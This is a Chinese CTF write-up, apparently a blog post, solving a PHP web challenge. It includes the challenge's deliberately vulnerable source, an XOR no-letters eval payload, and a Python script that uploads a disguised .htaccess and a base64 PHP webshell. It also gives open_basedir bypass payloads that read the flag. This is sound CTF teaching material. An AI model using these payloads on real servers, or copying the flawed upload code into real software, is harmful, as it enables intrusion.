[SUCTF 2019]EasyEeb

在 BUU 上刷到的狠题,在这题学到的新姿势贼鸡儿多,特此记录 😀

考察:

  • PHP 代码审计
  • 无符号 webshell
  • 文件上传 Bypass
  • .htaccess 文件
  • open_basedir / disable_function 的绕过

解题:

冲上来就给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

大致是要我们调用 get_the_flag 函数,我们需要传入一个名为 _ 的 GET 参数,我们看一下它的过滤:

1
2
3
4
5
6
7
8
9
10
11
12
# 长度不能超过 18
if(strlen($hhh)>18)
die('One inch long, one inch strong!');

# 这里最难顶,不能有数字和字母还有一些七里八里的字符
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

# 最后我们使用的字符种类不可以超过 12
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12)
die("Almost there!");

所以只能用无符号 webshell 辽,参考 P神博客 ,编写脚本跑一下:(为了构造出 ${_GET}{x}();&x=get_the_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.parse

find = ['G', 'E', 'T', '_']

for i in range(1, 256):
for j in range(1, 256):
result = chr(i ^ j)
if result in find:
u = i.to_bytes(1, byteorder='big')
v = j.to_bytes(1, byteorder='big')

u = urllib.parse.quote(u)
v = urllib.parse.quote(v)

print("{}: {} ^ {}".format(result, u, v))

最后构造挑几个构造 payload:

1
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

然后接下来就要看看 get_the_flag 这个函数了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)) {
mkdir($userdir);
}
if(!empty($_FILES["file"])) {
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
# 过滤 ph 前缀
if(preg_match("/ph/i",$extension))
die("^_^");
# 过滤 <?
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False)
die("^_^");
# 查看文件头看是否为图片
if(!exif_imagetype($tmp_name))
die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

我们成功上传文件之后会保存到一个路径中,并且会打印出来,这里是 apache 的服务器,我们可以上传 .htaccess 来帮助我们,但是这里有要注意的点


还有两个要注意的点是:

  • .htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

    1. 在.htaccess前添加

      1
      2
      #define width 1337
      #define height 1337

      #在.htaccess是注释符,所以.htaccess文件可以生效

    2. 在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
      x00x00x8ax39x8ax39 是wbmp文件的文件头
      .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

  • 这里的php是7.2的版本,无法使用

    1
    2
    <script language="php">
    </script>

来绕过对<?的检测
解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:
.htacess

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"

shell.abc

1
2
GIF89a12
PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的


引用自 https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/

构造脚本上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
Addtype application/x-httpd-php .love
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/hack.love"
"""

# URL
url = "http://6187f945-3a37-4667-b761-5c50ead3a1ef.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
# payload
payload = b"GIF89a11" + base64.b64encode(b"<?php eval($_REQUEST['hack']);")

# .htaccess
files = {'file': ('.htaccess', htaccess, 'image/jpeg')}
data = {'upload': 'Submit'}

response = requests.post(url=url, data=data, files=files)

print(response.text)

# hack.love
files = {'file': ('hack.love', payload, 'image/jpeg')}

response = requests.post(url=url, data=data, files=files)

print(response.text)

一开始我们并不知道文件路径,就只传 .htaccess ,得到文件路径之后再传 hack 文件,这时我们可以访问 upload/tmp_48cd8b43081896fbd0931d204f947663/hack.love 并构造 ?hack=phpinfo(); ,发现成功回显,但是当构造 ls 的时候没有回显了,才知道存在 open_basedir 和 disable_functions的限制,属实难顶

不过参考 https://xz.aliyun.com/t/4720 可以构造: ?hack=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

得到回显,发现 flag 文件

1
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => THis_Is_tHe_F14g [4] => bd_build [5] => bin [6] => boot [7] => clean.sh [8] => dev [9] => etc [10] => home [11] => lib [12] => lib64 [13] => media [14] => mnt [15] => opt [16] => proc [17] => root [18] => run [19] => sbin [20] => srv [21] => sys [22] => tmp [23] => usr [24] => var )

构造: ?hack=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

获取 flag 😀

From:堆堆
记得注明出处嗷


评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×